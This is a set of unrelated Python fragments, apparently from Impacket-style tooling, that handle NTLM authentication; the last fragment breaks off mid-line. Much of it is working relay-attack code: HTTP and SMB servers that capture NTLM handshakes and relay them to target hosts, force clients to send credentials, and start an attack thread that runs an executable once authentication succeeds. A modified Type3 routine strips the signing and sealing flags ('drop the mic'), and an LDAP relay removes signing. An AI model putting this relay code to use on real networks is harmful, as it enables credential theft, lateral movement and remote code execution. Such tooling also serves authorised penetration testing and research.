def do_local_auth(self, messageType, token, proxy): if messageType == 1: negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) ansFlags = 0 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: ansFlags |= ntlm.NTLM_NEGOTIATE_OEM ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \ ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage['flags'] = ansFlags challengeMessage['domain_name'] = "" challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64)) challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS() challengeMessage['TargetInfoFields_len'] = 0 challengeMessage['TargetInfoFields_max_len'] = 0 challengeMessage['TargetInfoFields_offset'] = 40 + 16 challengeMessage['Version'] = b'\xff' * 8 challengeMessage['VersionLen'] = 8 self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy) return elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() else: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))).upper() self.target = self.server.config.target.getTarget(identity = self.authUser) if self.target is None: LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc)) self.relayToHost = True self.do_REDIRECT()
def do_ntlm_negotiate(self,client,token): #Since the clients all support the same operations there is no target protocol specific code needed for now clientChallengeMessage = client.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) return challengeMessage
class NTLMV2_Struct(object): NEGOTIATE_INFO = ntlm.NTLMAuthNegotiate() CHALLENGE_INFO = ntlm.NTLMAuthChallenge() RESPONSE_INFO = ntlm.NTLMAuthChallengeResponse() def getNtProofString(self): # return self.RESPONSE_INFO['ntlm'][:16] def getBasicData(self): responseServerVersion = self.RESPONSE_INFO['ntlm'][16] hiResponseServerVersion = self.RESPONSE_INFO['ntlm'][17] aTime = self.RESPONSE_INFO['ntlm'][24:32] clientChallenge = self.RESPONSE_INFO['ntlm'][32:40] serverChallenge = self.CHALLENGE_INFO['challenge'] serverName = self.RESPONSE_INFO['ntlm'][44:] basicData = responseServerVersion + hiResponseServerVersion + '\x00' * 6 + aTime + clientChallenge + '\x00' * 4 + serverName return basicData def getExtended(self): # return (self.RESPONSE_INFO['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY == ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) def getExchangedKey(self): return self.RESPONSE_INFO['session_key'] # Returns DOMAIN/USERNAME def getUser(self): return self.RESPONSE_INFO['domain_name'].decode("utf-16-le").encode( "utf-8").upper() + "/" + self.RESPONSE_INFO['user_name'].decode( "utf-16-le").encode("utf-8").upper()
def display_os_version(data): bindResp = MSRPCBindAck(str(data)) AuthData = ntlm.NTLMAuthChallenge(bindResp['auth_data']) version = AuthData['Version'] major_ver = struct.unpack('B', version[0])[0] minor_ver = struct.unpack('B', version[1])[0] build_num = struct.unpack('H', version[2:4])[0] print("Version %d.%d (Build %d)" % (major_ver, minor_ver, build_num))
def do_ntlm_negotiate(self,client,token): #Since the clients all support the same operations there is no target protocol specific code needed for now if 'LDAP' in self.target[0]: #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) #negotiateMessage['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_SIGN clientChallengeMessage = client.sendNegotiate(negotiateMessage.getData()) else: clientChallengeMessage = client.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) return challengeMessage
def send_ntlm_type1(self, http_obj, method, path, headers, negotiateMessage): auth_headers = headers.copy() auth_headers['Content-Length'] = '0' auth_headers['Authorization'] = 'NTLM %s' % base64.b64encode( negotiateMessage).decode('ascii') http_obj.request(method, path, headers=auth_headers) res = http_obj.getresponse() res.read() if res.status != 401: raise Exception( 'Status code returned: %d. ' 'Authentication does not seem required for url %s' % (res.status, path)) if res.getheader('WWW-Authenticate') is None: raise Exception('No authentication requested by ' 'the server for url %s' % path) if self.__auth_types == []: self.__auth_types = self.parse_www_authenticate( res.getheader('WWW-Authenticate')) if AUTH_NTLM not in self.__auth_types: # NTLM auth not supported for url return None, None try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) except (IndexError, KeyError, AttributeError): raise Exception( 'No NTLM challenge returned from server for url %s' % path) if not self.__ntlmssp_info: challenge = ntlm.NTLMAuthChallenge(serverChallenge) self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields']) # Format: serverChallenge, reserved, ... return serverChallenge, None
def do_GET(self): messageType = 0 if self.headers.getheader('Authorization') == None: self.do_AUTHHEAD(message='NTLM') pass else: #self.do_AUTHHEAD() typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: if self.server.mode.upper() == 'REFLECTION': self.target = self.client_address[0] print "[*] Downgrading to standard security" extSec = False else: self.target = self.server.target extSec = True try: self.client = SMBClient(self.target, extended_security=True) self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) self.client.set_timeout(60) except Exception, e: print "[!] Connection against target %s FAILED" % self.target print e clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = ntlm.NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message='NTLM ' + base64.b64encode(clientChallengeMessage))
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B', sessionSetupData['SecurityBlob'] [0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) else: # Standard Security sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) else: # Response if SMBCommand['WordCount'] == 4: # Extended Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = smb.SPNEGO_NegTokenResp( sessionData['SecurityBlob']) if respToken.fields.has_key('ResponseToken'): # Let's parse some data and keep it to ourselves in case it is asked ntlmChallenge = ntlm.NTLMAuthChallenge( respToken['ResponseToken']) if ntlmChallenge['TargetInfoFields_len'] > 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS( ntlmChallenge['TargetInfoFields'] [:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ ntlm.NTLMSSP_AV_DOMAINNAME][1].decode( 'utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data( flags=packet['Flags2'], data=sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash='', nthash='', use_ntlmv2=USE_NTLMv2): # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. if password is None: password = '' # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with # international characters. import sys encoding = sys.getfilesystemencoding() if encoding is not None: try: user.encode('utf-16le') except: user = user.decode(encoding) try: password.encode('utf-16le') except: password = password.decode(encoding) try: domain.encode('utf-16le') except: domain = user.decode(encoding) ntlmChallenge = ntlm.NTLMAuthChallenge(type2) # Let's start with the original flags sent in the type1 message responseFlags = type1['flags'] # Token received and parsed. Depending on the authentication # method we will create a valid ChallengeResponse ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse( user, password, ntlmChallenge['challenge']) clientChallenge = ntlm.b("".join([ random.choice(string.digits + string.ascii_letters) for _ in range(8) ])) serverName = ntlmChallenge['TargetInfoFields'] ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse( ntlmChallenge['flags'], ntlmChallenge['challenge'], clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2) # Let's check the return flags if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: # No extended session security, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: # No support for 128 key len, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: # No key exchange supported, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH # drop the mic need to unset these flags if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL) != 0: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN) != 0: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN) != 0: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, lmhash, nthash, use_ntlmv2) # Special case for anonymous login if user == '' and password == '' and lmhash == '' and nthash == '': keyExchangeKey = b'\x00' * 16 if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: exportedSessionKey = ntlm.b("".join([ random.choice(string.digits + string.ascii_letters) for _ in range(16) ])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, exportedSessionKey) else: encryptedRandomSessionKey = None exportedSessionKey = keyExchangeKey ntlmChallengeResponse['flags'] = responseFlags ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode( 'utf-16le') if lmResponse == '': ntlmChallengeResponse['lanman'] = b'\x00' else: ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse if encryptedRandomSessionKey is not None: ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey return ntlmChallengeResponse, exportedSessionKey
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authData = sessionSetupData['SecurityBlob'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) print "[!] Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want print "[*] Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']) del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Remove the target server from our connection list, the work is done # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def check_rdp(host, username, password, domain, hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = str(rdp_neg) tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = str(tpdu) s = socket.socket() s.connect((host, 3389)) s.sendall(str(tpkt)) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30' + asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: print "[*] Access Denied" else: logging.error(err) return
def create_channel(self, method, headers): if self._rpcProxyUrl.scheme == 'http': self.__channels[method] = HTTPConnection(self._rpcProxyUrl.netloc) else: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc, context=uv_context) except AttributeError: self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc) auth = ntlm.getNTLMSSPType1(domain=self.__domain) auth_headers = headers.copy() auth_headers['Content-Length'] = '0' auth_headers['Authorization'] = b'NTLM ' + base64.b64encode( auth.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path, headers=auth_headers) res = self.__channels[method].getresponse() res.read() if res.status != 401: raise RPCProxyClientException( 'Status code returned: %d. Authentication does not seem required for url %s' % (res.status, self._rpcProxyUrl.path)) if res.getheader('WWW-Authenticate') is None: raise RPCProxyClientException( 'No authentication requested by the server for url %s' % self._rpcProxyUrl.path) if 'NTLM' not in res.getheader('WWW-Authenticate'): raise RPCProxyClientException( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'No NTLM challenge returned from server for url %s' % self._rpcProxyUrl.path) # Default ACL in HKLM\SOFTWARE\Microsoft\Rpc\ValidPorts allows connections only by NetBIOS name of the server. # If remoteName is empty we assume the target is the rpcproxy server, and get its NetBIOS name from NTLMSSP. # # Interestingly, if Administrator renames the server, the ACL remains the original. if not self.__ntlmssp_info: challenge = ntlm.NTLMAuthChallenge(serverChallenge) self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields']) if not self.__remoteName: self.__remoteName = self.__ntlmssp_info[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') self._stringbinding.set_network_address(self.__remoteName) if not self._rpcProxyUrl.query: query = self.__remoteName + ':' + str(self.__dstport) self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) headers['Authorization'] = b'NTLM ' + base64.b64encode(type3.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query, headers=headers) auth_resp = self.__channels[method].sock.recv(8192) if auth_resp != b'HTTP/1.1 100 Continue\r\n\r\n': try: auth_resp = auth_resp.split(b'\r\n')[0].decode( "utf-8", errors='replace') raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method, proxy_error=auth_resp) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method)
def bind(self, uuid, alter=0, bogus_binds=0): bind = MSRPCBind(endianness=self.endianness) syntax = '\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60' if self.endianness == '>': syntax = unpack('<LHHBB6s', syntax) syntax = pack('>LHHBB6s', *syntax) uuid = list(unpack('<LHHBB6sHH', uuid)) uuid[-1] ^= uuid[-2] uuid[-2] ^= uuid[-1] uuid[-1] ^= uuid[-2] uuid = pack('>LHHBB6sHH', *uuid) ctx = 0 for i in range(bogus_binds): bind.set_ctx_id(self._ctx, index=ctx) bind.set_trans_num(1, index=ctx) bind.set_if_binuuid('A' * 20, index=ctx) bind.set_xfer_syntax_binuuid(syntax, index=ctx) bind.set_xfer_syntax_ver(2, index=ctx) self._ctx += 1 ctx += 1 bind.set_ctx_id(self._ctx, index=ctx) bind.set_trans_num(1, index=ctx) bind.set_if_binuuid(uuid, index=ctx) bind.set_xfer_syntax_binuuid(syntax, index=ctx) bind.set_xfer_syntax_ver(2, index=ctx) bind.set_ctx_num(ctx + 1) if alter: bind.set_type(MSRPC_ALTERCTX) if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, nth, lmh = self._transport.get_credentials( ) auth = ntlm.NTLMAuthNegotiate() auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 bind.set_auth_data(str(auth)) self._transport.send(bind.get_packet()) s = self._transport.recv() if s != 0: resp = 